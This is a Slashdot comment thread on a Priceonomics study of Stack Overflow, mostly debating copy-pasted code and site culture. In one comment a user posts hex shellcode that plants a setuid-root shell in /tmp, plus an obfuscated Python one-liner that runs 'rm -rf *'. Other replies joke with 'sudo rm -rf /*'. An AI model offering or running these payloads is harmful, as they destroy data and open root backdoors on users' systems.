Slashdot Mirror


Stack Overflow and the Zeitgeist of Computer Programming (priceonomics.com)

An anonymous reader writes: Stack Overflow remains one of the most widely-used resources in the developer community. Around 400,000 questions are posted there every month. The Priceonomics blog is using statistical analysis to ask, "What does the nature of these questions tell us about the state of programming?" They see tremendous growth in questions about Android Studio, as well as more generic growth in work relating to data analysis and cloud services. Topics on a significant decline include Silverlight, Joomla, Clojure, and Flash (not to mention emacs, for some reason). The article also takes a brief look at the site's megausers, who receive a lot of credit for keeping the signal-to-noise ratio as high as it is, while also taking flack for how the Stack Overflow culture has progressed. "Others are worried about how Stack Overflow has impacted programming fundamentals. Some critics believe that rather than truly struggling with a problem, developers can now just ask Stack Overflow users to solve it for them. The questioner may receive and use an answer with code they do not truly understand; they just know it fixes their problem. This can lead to issues in the long run when adjustments are needed."

171 comments

  1. Wouldn't this lead to Natural Selection? by NMBob · · Score: 1

    "The questioner may receive and use an answer with code they do not truly understand; they just know it fixes their problem. This can lead to issues in the long run when adjustments are needed."

    1. Re:Wouldn't this lead to Natural Selection? by bulled · · Score: 2

      Indeed, a good programmer will be able to adjust the answer give to fit their needs. It is no different than many of the O'Reilly press books that walk you through a project.

    2. Re:Wouldn't this lead to Natural Selection? by Anonymous Coward · · Score: 0

      This does not lead to natural selection. This _is_ natural selection at work.

    3. Re:Wouldn't this lead to Natural Selection? by NMBob · · Score: 2

      Yup, you're right. Program or die. That's certainly the way it is where I live...even if it's my own projects -- ESPECIALLY if it's my own projects.

    4. Re:Wouldn't this lead to Natural Selection? by halivar · · Score: 5, Insightful

      This is probably not going to be a popular opinion here, but I have a low view of developers who spend an hour writing code they could have copied off the internet in 5 minutes. Yes, there is no replacement for discernment. You shouldn't Ctrl+V code you don't understand. But to not even try Googling it indicates, to me, someone who is more interested in padding their hours than getting shit done. The solution, once arrived at, is probably not novel or better than what's out there, anyway.

    5. Re:Wouldn't this lead to Natural Selection? by halivar · · Score: 2

      This is to say I prefer to spend my hours on problems the community has not already found to have a ready-made solution.

    6. Re:Wouldn't this lead to Natural Selection? by JaredOfEuropa · · Score: 3, Insightful

      On the flip side, programmers may receive better answers on SO than the ones they had come up with themselves, and gain new insights in programming patterns, use of SDKs, etc. That sort of learning and sharing of knowledge is encouraged and facilitated in other fields for good reason, and I've learned a good many things that way myself. As long as the answer explains or shows how to solve the problem instead of actually solving it completely. Post text or pseudocode rather than complete working code fragments. Same way you teach your kid how to fix a punctured bicycle tyre: don't fix it for him, but let him fix it under your guidance.

      --
      If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
    7. Re:Wouldn't this lead to Natural Selection? by Berkyjay · · Score: 1

      Exactly this! I am the only Python developer on my team and I would waste hours figuring out a problem that would be solved in a 5 minute google search. It is pointless and regressive to reinvent the wheel every time.

    8. Re:Wouldn't this lead to Natural Selection? by Anonymous Coward · · Score: 0

      I could not agree more. It's stupid to re-invent the wheel. You also generally have to adapt what you've taken from SO to your particular use.

      When interviewing someone, I always try to ask a question that leads them to answer, "I'd Google it" or similar rather than some long, canned, drawn-out BS answer. The "I'd Google it" answer shows me that they recognize that they don't know everything and are comfortable asking, that they are generally honest, and that they are efficient enough to not waste time solving problems that have already been solved.

    9. Re:Wouldn't this lead to Natural Selection? by mrprogrammerman · · Score: 1

      That's pretty much the definition of cargo cult programming. If you have to cleanup after some cargo cult programmers it can be frustrating. The code may have seemed to work but then when the codebase changes it stops working or creates new problems.

    10. Re:Wouldn't this lead to Natural Selection? by phantomfive · · Score: 1
      This quote from Theo de Raadt is probably relevant (for the second time this week):

      “When you know exactly what the APIs are, you’ll spot the bugs very easily. In my mind, it is the same as any other job that requires diligence. Be careful. Humans learn from examples, and yet, in this software programming environment, the tremendous complexity breeds non-obvious mistakes, which we carry along with us, and copy into new chunks of code. We’ve even found in man pages where functions were mis-described, and when we found those, lots of programmers had followed the instructions incorrectly...”

      If you paste code you don't understand, then you're in trouble.

      --
      "First they came for the slanderers and i said nothing."
    11. Re:Wouldn't this lead to Natural Selection? by bradrum · · Score: 3, Insightful

      1. Often leads to mixed up styles and programs that are spottily documented.
      2. Tons of example code does little to no error checking.
      3. Plus many times when I clean up from example code programmers they haven't really stepped through the new code very well. They get in a hurry meeting the insane deadlines they feed to business and fuck up.
      4. Do you really understand something if you cheat on it? How do you really know what you know and don't know if you can't do it yourself (this a serious fucking problem, very few people can truly estimate what they do and do not know) ? That is like saying, why do all of the homework that has been solved before.
      5. Leads to the "Then why not use libraries for everything" kind of mentality that we have at my work.

    12. Re:Wouldn't this lead to Natural Selection? by __aaclcg7560 · · Score: 1

      That might suck for programming. I do I.T. support work and cleaning up other people's messes is big bucks. It's better to be known as the guy who cleaned up the mess and not the guy who made the mess.

    13. Re:Wouldn't this lead to Natural Selection? by nitehawk214 · · Score: 1

      Teach a man to fish...

      --
      I'm a good cook. I'm a fantastic eater. - Steven Brust
    14. Re:Wouldn't this lead to Natural Selection? by halivar · · Score: 1

      All of these seem to have to do with such severe shortcomings in the implementer themselves that I am skeptical that they, left to their own devices, could devise a more suitable solution by original thought.

    15. Re:Wouldn't this lead to Natural Selection? by ShanghaiBill · · Score: 2

      If you paste code you don't understand, then you're in trouble.

      Of course. But most Stackoverflow answers include comments (written by the submitter, or appended by others) that explain why the code works, what the limitations are, and any gotchas that need to be considered. If I write the code myself from scratch, by reading API docs or whatever, I don't benefit from that collective experience, and I am likely to understand the problems with the code even less. There is nothing noble about "struggling" with code, and that does not necessarily lead to better understanding.

    16. Re:Wouldn't this lead to Natural Selection? by phantomfive · · Score: 1

      "Collective experience" is fine, but you should understand anything you put in your own codebase. Very often "collective experience" is wrong, and you'll end up with security vulnerabilities. Here is an example.

      --
      "First they came for the slanderers and i said nothing."
    17. Re:Wouldn't this lead to Natural Selection? by bradrum · · Score: 1

      No its just a natural tendency, I wouldn't totally condemn those that do it. But the tendency is there if you don't struggle to solve something, and just grab ready made answers. Cargo cult type characteristics.

    18. Re:Wouldn't this lead to Natural Selection? by Anonymous Coward · · Score: 0

      It also means they're dumb.

      The correct answer would be "I'd Startpage it."

    19. Re:Wouldn't this lead to Natural Selection? by davek · · Score: 1

      While copy-pasta is an exceptionally dangerous form of code rot, I do agree that the ENTIRE point of good design is to emphasize code reuse. If you've ever come across a section of ugly code you have to fix, just because someone didn't feel like using Perl::DateTime, you know what I mean.

      There are a lot of smart people out there. Most of them are smarter than me. (Think about the collective "smartness" of compiler developers every time people think the project should ignore compiler warnings.) I strive to stand on the shoulders of these giants as much as possible when writing code.

      --
      6th Street Radio @ddombrowsky
    20. Re:Wouldn't this lead to Natural Selection? by Darinbob · · Score: 0

      Stackoverflow has gone downhill though. When it was new there were smart questions and smart answers from experts. Now there are basic questions and novices provide incorrect answers, and experts who have not laboriously earned enough reputation are not allowed to make corrections.

    21. Re:Wouldn't this lead to Natural Selection? by Darinbob · · Score: 1

      Because the code on the internet is often inadequate. It's written for a PC with an overabundance of memory and speed and so is inappropriate for embedded systems where saving even a few bytes can make a difference. Sure, I google the code, but I never copy it because it's very often the wrong solution.

    22. Re:Wouldn't this lead to Natural Selection? by Darinbob · · Score: 1

      But you have to FIX the wheel. I ask about linked lists in interviews, not because I think this is necessarily a vital skill, but because the job duties require fixing bugs in code that use linked lists and sometimes obscure bugs in the linked lists themselves (yes even in commercial libraries). Besides, why let someone build a wall if they are unable to recognize a brick when they see one?

      Sure, google for the concepts is good. But how can you google for something you've never heard of or encountered before? There is a certain level of basic knowledge that is required first.

    23. Re:Wouldn't this lead to Natural Selection? by ShanghaiBill · · Score: 2

      but you should understand anything you put in your own codebase.

      Yes, yes, of course. But there is no good reason that a solution from Stackoverflow should be less understood, and plenty of reasons it will be more understood.

      Very often "collective experience" is wrong

      But is it more or less likely to be wrong than a roll-your-own solution? Solutions on Stackoverflow are rated and moderated, and written by people with visible reputation points.

      If you were a tech manager, and you had two candidates: One that claimed to use Stackoverflow regularly, and one that claimed to avoid the site, which would you hire?

    24. Re:Wouldn't this lead to Natural Selection? by Anonymous Coward · · Score: 0

      +1 for parent

      Another name for "code you don't completely understand" is called an API...or a library.
      It's super handy for what they need to do *precisely* because you don't have to understand every LOC.

    25. Re:Wouldn't this lead to Natural Selection? by Anonymous Coward · · Score: 0

      that Porches sure fly with those wooden wheel!

    26. Re:Wouldn't this lead to Natural Selection? by Darinbob · · Score: 1

      There is so much code, and yet none of it may be appropriate to cut and paste. Most code on the net is PC oriented; bulky, slow, using a scripting language or not portable. So if you're doing embedded systems all of it is irrelevant. If you're on a very tiny machine, almost all of the code has to be new and original because the prebuilt libraries are too big or do not do exactly what is necessary and it would take more code to wrap around them than to rewrite it all.

      It is also difficult to know if you're standing on the shoulders of giants or midgets if you never look down.

    27. Re:Wouldn't this lead to Natural Selection? by phantomfive · · Score: 1

      If you were a tech manager, and you had two candidates: One that claimed to use Stackoverflow regularly, and one that claimed to avoid the site, which would you hire?

      Hmmmm good question, it made me think. I don't think I would hire someone based on this criteria, though.....at least I never have.

      On the other hand, if someone were unable to work without Stackoverflow, then I would mark that as a negative.

      --
      "First they came for the slanderers and i said nothing."
    28. Re:Wouldn't this lead to Natural Selection? by RabidReindeer · · Score: 1

      Actually, Stackoverflow answers tend to be light on theory, and strong on "quick-fix" answers. In fact, I've seen more than one case where people have been told off for not being specific enough. I know better places to go when you want to learn the underlying reasons for why you need to do something in such-and-such a way instead of simply copy/paste instructions without understanding. Stackoverflow is good for "Git 'R Dun!", but it's not as useful for becoming an expert on a topic.

      The other thing that puts me off is that in the last year or three, a lot of Stackoverflow questions have been marked as "too stupid" or otherwise unworthy of an answer in such an august forum. When I, after all my years in the field look up a question and see "too stupid" as an answer, it really irritates me. I may ask stupid questions, but by now I like to delude myself that they're legitimately stupid questions and not just questions that anyone with skills to google or RTFM wouldn't have to ask. I think that every question deserves a meaningful answer, even if the answer starts out with, "That's a stupid question, but..."

      At least they don't outright flame you, but sometimes it can get pretty warm.

    29. Re:Wouldn't this lead to Natural Selection? by mikael · · Score: 1

      One side of the argument is that developers should be constantly refreshing their knowledge by reading every source of information available in their spare time, and making their own notes. Then they don't need to read Stack Overflow during the daytime, as the knowledge is in their heads.

      But on the other side, if you are developing some advanced piece of technology like a deep-space interplanetary probe, then Googling for "advanced off-the-shelf faster-than-light propulsion system technology kit" isn't going to get very far. And there may be problems if it is a commercially sensitive or secret project.

      --
      Vintage computer adverts: http://www.vintageadbrowser.com/computers-and-software-ads
    30. Re:Wouldn't this lead to Natural Selection? by mikael · · Score: 1

      Like discussions on how to transfer files from one computer system to another. "Oh, just create a sshd server, set up the root directory to /, set ownership to root, have a guest login that doesn't need a password, and test your set up correctly by visiting this web page. Then you can access all your files from anywhere in the world without the need of having to remember a password.

      --
      Vintage computer adverts: http://www.vintageadbrowser.com/computers-and-software-ads
    31. Re:Wouldn't this lead to Natural Selection? by ShanghaiBill · · Score: 1

      I know better places to go when you want to learn the underlying reasons

      Such as?

      a lot of Stackoverflow questions have been marked as "too stupid"

      I have never seen a question on Stackoverflow dismissed like that, even when the questions were actually stupid. Can you provide a link to an example of a reasonable question that was dismissed as "too stupid" and not given a serious answer?

    32. Re:Wouldn't this lead to Natural Selection? by AuMatar · · Score: 2

      You overstate the capabilities of stackoverflow. I have 30K+ karma there. Right now the most upvoted answer to "How do I track location with GPS on Android" is badly broken. It has been for 5 years. I've wrote my own answer to combat it, but as the original answer is 5 years old it doesn't get the upvotes it needs to drown it out. I see questions on how to work around the bugs in the original answer on a weekly basis, still can't kill it.

      Just because an answer is highly upvoted, used, or commented on SO doesn't mean its right. It means its worth looking into. But using it without testing and understanding is unprofessional and will cost you more time than you'd save by using SO.

      Also- I almost never see comments about why code works, limitations, etc. Sometimes it happens, but not all that frequently.

      --
      I still have more fans than freaks. WTF is wrong with you people?
    33. Re:Wouldn't this lead to Natural Selection? by LesFerg · · Score: 1

      Totally agree, also I sometimes find on SO a better set of keywords to start googling on, when I didn't know quite which part of a SDK best handled the feature I was looking for, so it can be a great research tool as well as just a source for copying a bit of code.

      --
      If I had a DeLorean... I would probably only drive it from time to time.
    34. Re:Wouldn't this lead to Natural Selection? by drkstr1 · · Score: 1

      Haha, it seems like it's the other way around for programmers, a lot of the time.

      --
      Fanboy Status: Apache Flex, C#, Eclipse, KDE, Pirate Party, Ron Paul, Slackware, Windows 7
    35. Re:Wouldn't this lead to Natural Selection? by RabidReindeer · · Score: 1

      I know better places to go when you want to learn the underlying reasons

      Such as?

      I could name URLs, but I would be accused of being self-serving because I'm heavily involved with them. All I can say is that the reason I'm heavily involved with them is precisely because I found them to be better places to go. Also because they're older than Stackoverflow and I was using them first, but Stackoverflow wasn't enough better for my purposes to make it worth switching.

      a lot of Stackoverflow questions have been marked as "too stupid"

      I have never seen a question on Stackoverflow dismissed like that, even when the questions were actually stupid. Can you provide a link to an example of a reasonable question that was dismissed as "too stupid" and not given a serious answer?

      I'm afraid I haven't been taking notes. It just happens often enough to annoy me, but - thankfully - not often enough to completely give up on Stackoverflow when I need a quick answer. Almost never is the answer literally "too stupid", but there are about a half a dozen stock rejections that amount to basically the same level of dismissal. And there are more instances where I can count where the answer is something like "This question has already been discussed at (some other question)" where the "some other question" turns out to be sufficiently different that none of the answers apply to the question that was so dismissed. That particular characteristic is one that makes me scream.

    36. Re:Wouldn't this lead to Natural Selection? by turbidostato · · Score: 1

      No, it won't because the required "natural selection" process here should be at the managerial level, and that's gonna happen.

      Reportedly a new hire gets screened for his knowledge, then his work gets screened by his supervisor so either the code he copy-pastes from stack overflow is good enough and then there's no problem or it's rubbish in which case it is the supervisor/manager the one failing if it ever hits the master branch.

    37. Re:Wouldn't this lead to Natural Selection? by turbidostato · · Score: 1

      "One side of the argument is that developers should be constantly refreshing their knowledge by reading every source of information available in their spare time, and making their own notes. Then they don't need to read Stack Overflow during the daytime, as the knowledge is in their heads."

      No, they shouldn't. They are not payed for 24x7 job dedication, therefore they shouldn't dedicate 24x7 to their jobs. It is up to the employer to either stay with VB6 or move forward, though.

    38. Re:Wouldn't this lead to Natural Selection? by mikael · · Score: 1

      I've seen companies who have written this into their requirements. Interestingly enough, they aren't around any more.

      --
      Vintage computer adverts: http://www.vintageadbrowser.com/computers-and-software-ads
    39. Re:Wouldn't this lead to Natural Selection? by Wootery · · Score: 1

      This is probably not going to be a popular opinion here

      Oh cut it out. It's not unusual for someone to qualify their comment with some faux-heroic this might not be popular, and it's always annoying.

      I have a low view of developers who spend an hour writing code they could have copied off the internet

      Unless you care about copyright. Better be careful.

    40. Re:Wouldn't this lead to Natural Selection? by Anonymous Coward · · Score: 0

      This is why developers from India and Bangladesh are so popular.
      They are cheap to hire and don't waste time with nonsense like copyright. They get the code from the net, paste it in, and if it works they move on. THAT is productivity. The product ships and we can forget about the code.

    41. Re:Wouldn't this lead to Natural Selection? by Anonymous Coward · · Score: 0

      So how is your performance bonus calculated?

      As a mess creator, one factor is my bonus is when the product ships.

    42. Re:Wouldn't this lead to Natural Selection? by Dog-Cow · · Score: 1

      You can appeal any reason for a question being closed. You may have to be the question author, however.

    43. Re:Wouldn't this lead to Natural Selection? by Dog-Cow · · Score: 1

      There's a difference between code-you-don't-understand-but-copied-verbatim-into-a-source-file and code-you-don't-understand-but-you-linked-into-the-project. No one who is a competent software developer will fail to understand the difference.

    44. Re:Wouldn't this lead to Natural Selection? by KGIII · · Score: 1

      And you'll never get any damned work out of them. They'll be out fishing all day!

      --
      "So long and thanks for all the fish."
    45. Re:Wouldn't this lead to Natural Selection? by KGIII · · Score: 1

      I am not a very good programmer - nor was my profession as a programmer but it involved a lot of programming. I've never been a fan of cutting and pasting. Instead, I prefer to cut and paste into a text document and then figure out what it is doing, why it is doing it, and how it actually solves the problem. Then, I'll rewrite it to make it do what I wanted it to do. Sometimes it ends up shorter and sometimes longer but, for me, it means that I generally understand it better and will understand it better when I return to it later.

      I used to get lots of help on Usenet (and contribute where I could). I'd try to, and this isn't easy, be both vague and specific in my questions. I know, that sounds impossible and it's difficult. What I wanted, for an answer, was not necessarily how to do something specific but how to do a process and what process bet fit my needs. I can, generally, figure it out from there.

      I'm not sure if that makes any sense and I stress, again, that I am not a programmer. I figured that I'd share what has worked for me. I prefer not just an answer but the reasoning behind the answer. I prefer to understand the concept instead of just the result. Anyone can cut and paste, it takes someone with just enough knowledge to really fuck something up beyond repair. ;-)

      --
      "So long and thanks for all the fish."
    46. Re:Wouldn't this lead to Natural Selection? by jeremyp · · Score: 1

      You need 5 up votes in order to comment on other people's posts. That's hardly laborious.

      --
      All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
    47. Re:Wouldn't this lead to Natural Selection? by jeremyp · · Score: 1

      So you made two claims and you're refusing to supply any evidence for either of them.

      In the first case, a simple declaration of your interest should suffice.

      In the second case, if the problem is a serious one, you should be able to go to StackOverflow today and pick out some examples.

      --
      All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
    48. Re:Wouldn't this lead to Natural Selection? by Anonymous Coward · · Score: 0

      Rarely do people give fully coded answers to what seems like a question someone could work out themselves eg homework. Go ask a basic question and see for yourself.

    49. Re:Wouldn't this lead to Natural Selection? by halivar · · Score: 1

      No, I honestly thought I was going to being down-voted as a troll or flamebait. Given the number of responses disagreeing with me, I am surprised I wasn't.

    50. Re:Wouldn't this lead to Natural Selection? by Wootery · · Score: 1

      So? Just say your piece. It's never helpful to say "I might get downvoted".

    51. Re:Wouldn't this lead to Natural Selection? by Wootery · · Score: 1

      The product ships and we can forget about the code.

      If you don't care about code-quality or maintenance, sure.

    52. Re:Wouldn't this lead to Natural Selection? by Darinbob · · Score: 1

      I'm not a social media person. You can't get upvotes without commenting and you can't comment without upvotes. So that leaves asking questions and hoping someone upvotes that? The only time I ever want to comment is when someone has answered completely wrong and everyone is agreeing with that. So I have to figure out the social media game before I can say "you're wrong, you can't divide by zero".

    53. Re: Wouldn't this lead to Natural Selection? by Anonymous Coward · · Score: 0

      And for the Indian outsourcers, they don't care about quality or maintenance. Their hired to go from zero to working product, nothing more, nothing less. Maintenance of the abomination is for some other poor sap after the Indian's product has shipped and been paid for.

    54. Re: Wouldn't this lead to Natural Selection? by Wootery · · Score: 1

      That was precisely my point. It doesn't make long-term sense for the company who owns the product.

    55. Re:Wouldn't this lead to Natural Selection? by RabidReindeer · · Score: 1

      Enough. I'd as soon wrassle with a pig or argue systemd.

      I don't "go to" Stack Overflow these days, it comes up on Google searches when I have specific problems to solve or research to do. As a research tool, like I said, it sucks.

      I don't expect to just randomly land on the site and be put off. For specific answers, often - but not always - I get usable results. What puts me off in many cases, however, it how much of the conversation is done in the exact same tone of voice you're using. It's purely defensive and does nothing to improve things.

      And, in response to Dog-Cow, I'm NOT the question author. If I don't get my answer there, my research skills are good enough to look up elsewhere. It's just that if I see a question on Stack Overflow and I chase the link, I get peeved when the link proves to be nothing but a question with justifications as to why it isn't worth answering and thus I've wasted my time.

    56. Re:Wouldn't this lead to Natural Selection? by rdnetto · · Score: 1

      The problem arises when the internet is wrong. For instance, just yesterday I was setting up Postgres* (something I haven't done before) and ran into an error about peer authentication when trying to run psql as root. If you google this, pretty much all the results tell you to set the authentication type to 'trust' for the postgres account, which effectively disables any kind of checking for local access to an account with superuser permissions to the database, creating a privileged escalation vulnerability. It took me about half an hour to find out about user name mapping and get it to work.

      And as someone pointed out the other day, this is especially rampant with certain languages. e.g. PHP.

      Googling a problem is certainly an important step for getting ideas, but sometimes it's worthwhile reading the docs and figuring it out from first principles, because quite often understanding and checking the code can take as long as writing it.

      --
      Most human behaviour can be explained in terms of identity.
  2. I hate Stack Overflow by Anonymous Coward · · Score: 0

    I was having a simple Linux problem, and they told me "sudo rm -rf /*" would fix everything.

    1. Re:I hate Stack Overflow by fisted · · Score: 1, Troll

      Well it did, did not it? It's pretty of you to not mark the answer as 'accepted answer'

    2. Re:I hate Stack Overflow by fisted · · Score: 0

      pretty rude, even.

    3. Re:I hate Stack Overflow by __aaclcg7560 · · Score: 0

      If your question was like an obvious homework question, you deserve to have your Linux install wiped out. Some people just don't know how to ask meaningful questions.

    4. Re:I hate Stack Overflow by OzPeter · · Score: 1

      I was having a simple Linux problem, and they told me "sudo rm -rf /*" would fix everything.

      OP is lying.

      The SO group think would have said that a Linux (and not programming question) was off topic and belonged on one of the other associated sites.

      --
      I am Slashdot. Are you Slashdot as well?
    5. Re:I hate Stack Overflow by Anonymous Coward · · Score: 1

      And that sort of useless fuckwad-whose-mother-should-have-swallowed response is exactly why Linux will remain a niche product and never be adopted by the majority of users.

    6. Re:I hate Stack Overflow by phantomfive · · Score: 1

      I used to want Linux to get adopted. Now I prefer that it remain pretty and nice from a code point of view, even at the cost of "adoption by the majority of users."

      --
      "First they came for the slanderers and i said nothing."
    7. Re:I hate Stack Overflow by Anonymous Coward · · Score: 0

      I was having a simple Linux problem, and they told me "sudo rm -rf /*" would fix everything.

      Well it did, did not it? It's pretty of you to not mark the answer as 'accepted answer'

      Nope, he's still posting to Slashdot.

    8. Re:I hate Stack Overflow by Anonymous Coward · · Score: 0

      If your question was like an obvious homework question, you deserve to have your Linux install wiped out. Some people just don't know how to ask meaningful questions.

      I see data science assignment questions posted verbatim to StackOverflow on a daily basis. Sadly these are the folks most companies will hire because they are masters of bullshitting.

    9. Re:I hate Stack Overflow by Anonymous Coward · · Score: 0

      I used to want Linux to get adopted. Now I prefer that it remain pretty and nice from a code point of view, even at the cost of "adoption by the majority of users."

      Linus has a lot of explaining to do about the sorry state of the Linux kernel. If he could turn his direct communication style to deal with Poettering and systemd it would be helpful.

    10. Re:I hate Stack Overflow by lgw · · Score: 1

      Now I prefer that it remain pretty and nice from a code point of view, even at the cost of "adoption by the majority of users."

      Didn't that ship sail long ago? Ubuntu, Gnome, etc, etc, all chasing adoption at the expense of what made Linux special for years now.

      --
      Socialism: a lie told by totalitarians and believed by fools.
    11. Re:I hate Stack Overflow by phantomfive · · Score: 1

      Linus has a lot of explaining to do about the sorry state of the Linux kernel

      What's wrong with the Linux kernel?

      --
      "First they came for the slanderers and i said nothing."
    12. Re:I hate Stack Overflow by phantomfive · · Score: 1

      Yeah, they shouldn't have chased that impossible dream. Instead focus on making the system good, and more and more users would come.

      --
      "First they came for the slanderers and i said nothing."
    13. Re: I hate Stack Overflow by cyber-vandal · · Score: 1

      No they wouldn't because they would ask "can it run x" and the answer would nearly always be no or run this application that has half the features and can't read the files you need it to read.

    14. Re: I hate Stack Overflow by phantomfive · · Score: 1

      It will still be better than the opposite, where you don't make the system good.

      --
      "First they came for the slanderers and i said nothing."
    15. Re:I hate Stack Overflow by hcs_$reboot · · Score: 1

      The guy posting 'rm -rf /' has probably a reputation of 1, and his answer would have been downvoted 5 times and probably deleted by a mod within minutes.

      --
      Slashdot, fix the reply notifications... You won't get away with it...
    16. Re:I hate Stack Overflow by KGIII · · Score: 1

      As it should have. You need sudo for that.

      --
      "So long and thanks for all the fish."
    17. Re:I hate Stack Overflow by jeremyp · · Score: 1

      What does that do? Let me s

      --
      All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
    18. Re:I hate Stack Overflow by jeremyp · · Score: 1

      Or petty.

      --
      All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
    19. Re:I hate Stack Overflow by hcs_$reboot · · Score: 1

      Without sudo at least all your files will be removed... that's pretty bad.

      --
      Slashdot, fix the reply notifications... You won't get away with it...
    20. Re:I hate Stack Overflow by KGIII · · Score: 1

      I also believe that most major distros won't really let you do that now, at least not without a warning. Without sudo the OS should still be usable though difficult. They'd probably be best off creating a new user profile and going from there. I do wonder if anyone has ever been stupid enough to actually run that command unintentionally? I'm pretty sure some have tried it intentionally but I don't know of anyone who's done so because they read about it on a forum and decided to try it out as a cure for their problem.

      Then again, someone probably has. :/ I've heard rumors of folks who legitimately felt that deleting system32 would fix their problem. That's not really possible with SFP in place. (You can't delete notepad.exe or calc.exe either. Well, you can delete them but they grow back pretty much immediately - I'm not sure if they're actually deleted or not or if they just appear to be deleted.)

      --
      "So long and thanks for all the fish."
    21. Re:I hate Stack Overflow by hcs_$reboot · · Score: 1

      chattr to the rescue ;-)

      --
      Slashdot, fix the reply notifications... You won't get away with it...
    22. Re:I hate Stack Overflow by KGIII · · Score: 1

      You know... I know of the commend but I've never once made use of it and I'm not really sure what I'd do with it? I use chmod +x (for example) frequently enough and I chmod stuff on the server(s) often enough but I've never needed greater refinement than that. Honestly, I've got the man pages in some HTML files that I downloaded (still gotta figure out how to get them to PDF format) but I've not really had any reason to read more deeply into them.

      I guess we could set up some sort of chattter {args} /* && rm -rf /* command... Maybe we can munge it in "obfuscated" Perl and get 'em to run it that way? I did, at one point, bump into a command that was basically the same thing only written in beautiful Perl. Lemme see if I can find it.

      Hmm... Nope. I can't spot it in the five minute search I gave it. I did find this in hex:

      char esp[] __attribute__ ((section(".text"))) /* e.s.p
      release */
                                      = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                                          "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                                          "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                                          "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                                          "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                                          "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                                          "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                                          "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

      I am (sadly) more amused than I should be.

      --
      "So long and thanks for all the fish."
    23. Re:I hate Stack Overflow by KGIII · · Score: 1

      Heh... And this:

      python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

      --
      "So long and thanks for all the fish."
  3. Besides the most obvious question... by __aaclcg7560 · · Score: 2

    Can you tell me how to finish my homework assignment for Script Kiddie 101?

    1. Re:Besides the most obvious question... by T.E.D. · · Score: 1

      Nah, they never say that. Instead, they paste the entire text for the homework problem in the text box verbatim, then hit "post".

    2. Re:Besides the most obvious question... by __aaclcg7560 · · Score: 1

      I find it more interesting that some questioners will twist themselves into a pretzel to hide the fact that they want someone else to provide the answer to their homework problem.

    3. Re:Besides the most obvious question... by Anonymous Coward · · Score: 4, Interesting

      I find it more interesting that some questioners will twist themselves into a pretzel to hide the fact that they want someone else to provide the answer to their homework problem.

      I caught one of these miscreants by posting a solution with a non-obvious bug for a course in which I was a TA. When it came time to grade the assignments low and behold the verbatim answer appeared in no less than 100 students. Despite the warning posted on StackOverflow saying the code should be tested before use. None of the one hundred bothered running the code. Lazy bastards.

    4. Re:Besides the most obvious question... by Anonymous Coward · · Score: 0

      low and behold

      lo and behold

    5. Re:Besides the most obvious question... by KGIII · · Score: 1

      We've got a "stock answer" for it over on the AskUbuntu side of the SO network. It is, basically, "I will not ask homework questions on AskUbuntu." It includes a link to Bart Simpson writing out similar on a chalkboard. It is usually easy to tell which is which and, often enough, the user opts to delete their question. The questions frequently have very ethnic usernames associated with them - I'll leave it to others to speculate.

      That's not really my pet peeve. Not at all...

      What *really* irks me is the people who come in and are obviously attempting to do a project for pay and are unqualified to do so. It is my assumption (and the caveats that go with assuming are true) that they've somehow managed to bid or get hired to do a job and are unqualified to do so. I'd not mind if this was a specific question but they're often like this:

      "I need to set up a network that can communicate with a Windows network and I have to be able to be able to do this as a local cloud. What software do I need and how do I do this?"

      Now, I have loads of free time. I give my time, research, and effort away. I'm not going to do that to enable you to make money. I'm not going to help save you from being unwilling to do some research on your own. I'm not going to save you from biting off more than you can chew. I'm not going to help you after you lied about your credentials. I'm willing to help you, I'm not willing to do your work for you.

      Also, if the homework question pops up and they tell us that it is homework, what they've tried, and where they're stuck and what they're having issues with then I'll help them find the resources they need to get their answers. I don't answer a lot of questions and only started helping there not so very long ago. I prefer to leave comments that will help those, like the above, answer their own questions.

      --
      "So long and thanks for all the fish."
    6. Re:Besides the most obvious question... by Anonymous Coward · · Score: 0

      "I need to set up a network that can communicate with a Windows network and I have to be able to be able to do this as a local cloud. What software do I need and how do I do this?"

      That's just the nature of this beastly work we've invested our lives in. I can work as a DBA for a Fortune1000 company for 10 years, then apply to be a DBA at any other Fortune1000 company, and be completely LOST when I get there. Network settings, security settings, user settings, stored procs, views, naming conventions, reports ports, reports software, maintenance schedules, maintenance software, backups, etc. all might be crucial to one company while completely neglected in the next. "Oh we keep all our shit in an Excel file, and simply use an embedded macro to upload from excel into the Oracle database. Your resume DID say you've been working with Oracle for the last 3 years, right? You can support this, right? Well, the macro doesn't work since 2 weeks ago when the last guy left. Can you fix it?" -- Literally what a major bank asked me.

      It's even worse for programming. DLLs, OOP, project management, codebases, version control, threading, etc. Each company has its tech CULTURE the same way we have bacterial cultures in our stomach. When you start in a new company, you rarely know what you're getting into. Your "Yeah, I've done this thing a hundred times... but when you put it THAT way, well, I've never seen it work that way before... so... let me just do some research... dear forum: Who's got this sort of thing working and how did you do it?" is an expected (and not-stupid/lazy) way to approach the problem.

    7. Re:Besides the most obvious question... by KGIII · · Score: 1

      While certainly true - the point which I was making is that there are some minimal criteria to be met in order to be competent at the job one was hired for. There's also a basic level of knowledge and ability to research that one needs to have if they're to be competent. I chose my example question carefully because I know there are many, many online resources that would give a good grounding and enable them to ask more specific questions if they struggled at some point in the many, many online resources available that would answer all of those questions.

      My example question was not a random one. There's absolutely no reason for a question that vague, or demonstrating that much unwillingness to do the initial research, to exist on the site(s). Fortunately, they're usually closed but that they're even asking such questions, at such a site, is a good indicator that they're probably not a good hire.

